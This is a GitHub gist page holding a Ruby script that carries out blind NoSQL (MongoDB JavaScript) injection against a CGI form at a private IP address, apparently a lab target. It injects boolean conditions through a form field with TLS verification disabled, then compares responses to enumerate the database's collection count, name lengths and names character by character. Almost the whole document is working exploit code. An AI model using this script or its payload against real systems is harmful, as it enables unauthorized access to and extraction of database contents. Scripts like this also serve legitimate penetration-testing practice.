Skip to content

Instantly share code, notes, and snippets.

@ugnius-s
Created September 19, 2019 23:06
Show Gist options
  • Save ugnius-s/a18be8a8530ee29e451b942a611f4f93 to your computer and use it in GitHub Desktop.
Save ugnius-s/a18be8a8530ee29e451b942a611f4f93 to your computer and use it in GitHub Desktop.
require 'http'
require 'timeout'
require 'parallel'
MAX_COLLECTIONS_LENGTH = 100
MAX_COLLECTION_NAME_LENGTH = 100
alpha = ('a'..'z').to_a
numeric = ('0'..'9').to_a
special = [".", "_"]
characters = alpha + numeric + special
data = {}
def exploit(condition)
ctx = OpenSSL::SSL::SSLContext.new
ctx.verify_mode = OpenSSL::SSL::VERIFY_NONE
uri = "https://10.11.1.238/cgi-bin/mongo/2.2.3/dbparse.py"
payload = """'; return [INJECT]; var f='"""
HTTP.post(uri, ssl_context: ctx,
form: { CompanyName: payload.sub('[INJECT]', condition) })
end
true_response = exploit('true').body.to_s
puts "[!] Found true response of body length #{true_response.size} bytes"
false_response = exploit('false').body.to_s
puts "[!] Found false response of body length #{false_response.size} bytes"
if true_response == false_response
puts "[-] True and False condition response is the same. Is the target exploitable?"
return
end
# puts "[+] Getting number of collections in the database"
Parallel.each((0..MAX_COLLECTIONS_LENGTH).to_a, in_threads: 10) do |length|
condition = "db.getCollectionNames().length == #{length}"
response = exploit(condition).body.to_s
if response != false_response && response == true_response
puts "[!] Found collection list length: #{length}"
data['collections_length'] = length
raise Parallel::Kill
end
end
if data['collections_length'].zero?
puts "[-] No collections found. Database empty? Try increasing MAX_COLLECTION_SIZE number?"
return
end
# puts "[+] Getting names of collections in the database"
(0..(data['collections_length'] - 1)).each do |collection_index|
# puts "[+] Getting collection ##{collection_index + 1} name length."
collection_name_length = 0
Parallel.each((0..MAX_COLLECTION_NAME_LENGTH), in_threads: 10) do |collection_name_length_index|
condition = "db.getCollectionNames()[#{collection_index}].length == #{collection_name_length_index}"
response = exploit(condition).body.to_s
if response != false_response && response == true_response
puts "[!] Found collection ##{collection_index + 1} name length: #{collection_name_length_index}"
collection_name_length = collection_name_length_index
raise Parallel::Kill
end
end
return if collection_name_length.zero?
collection_name = Array.new(collection_name_length, "")
# puts "[+] Getting collection ##{collection_index + 1} name."
Parallel.each(0..(collection_name_length - 1), in_threads: collection_name_length) do |collection_name_index|
Parallel.each(characters, in_threads: 3) do |character|
condition = "db.getCollectionNames()[#{collection_index}][#{collection_name_index}] == '#{character}'"
response = exploit(condition).body.to_s
if response != false_response && response == true_response
collection_name[collection_name_index] = character
raise Parallel::Kill
end
end
end
puts "[+] Collection ##{collection_index + 1} name: #{collection_name.join}"
end
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment